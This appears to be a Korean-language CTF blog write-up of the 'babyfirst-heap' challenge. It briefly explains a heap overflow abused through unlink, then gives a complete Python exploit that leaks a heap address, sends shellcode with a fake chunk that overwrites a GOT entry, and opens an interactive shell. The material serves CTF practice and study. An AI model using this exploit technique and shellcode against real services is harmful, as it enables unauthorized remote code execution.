# file
babyfirst-heap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
randrange 함수를 통해 랜덤하게 malloc 을 할당한다. 총 20번의 할당 중 10번의 loop 뒤 malloc(260); 만큼 할당한다.
그리고 할당이 끝난 후 malloc(260); 가 할당된 주소에 0x1000byte 만큼 입력받는다. 그리고 할당 된 heap을 free 한다.
우리가 0x1000byte 만큼 입력받을 때 heap overflow가 발생한다. 마지막 for 문에서 할당된 heap을 연속적으로 free 하고 병합하게 되는데 이 때 unlink가 호출된다.
overflow를 통해 이웃 chunk의 PREV_INUSE를 1로 셋팅하여 기존 chunk 와의 병합을 단절하고 다음 free 시 fd bk writing을 유도한다.
=> NX가 걸려있지만, malloc에서 할당 할 때 mprotect()로 heap memory에 rwx 권한을 준다
# exploit.py
from struct import *
from socket import *
from telnetlib import *
import time
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
print_got = 0x0804c004
shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 7777))
time.sleep(0.3)
data = s.recv(2048)
heap_ptr = str("0") + data[494:501]
heap_ptr = int(heap_ptr, 16)
print data
print "[*] heap addr = " + hex(heap_ptr)
payload = ""
payload += p(0x1ceb)
payload += "\x90"*100
payload += shellcode
payload += "A"*(260 - len(payload))
payload += p(0x1)
payload += p(print_got-8)
payload += p(heap_ptr)
raw_input(">")
s.send(payload + "\n")
t = Telnet()
t.sock = s
t.interact()
'ctf' 카테고리의 다른 글
[pwnable.kr] cmd2 (0) | 2017.01.13 |
---|---|
[pwnable.kr] dragon (0) | 2017.01.11 |
[exploit-exercise] heap3 (0) | 2017.01.09 |
[pwnable.kr] fsb (0) | 2017.01.08 |
[pwnable.kr] simple_login (0) | 2017.01.08 |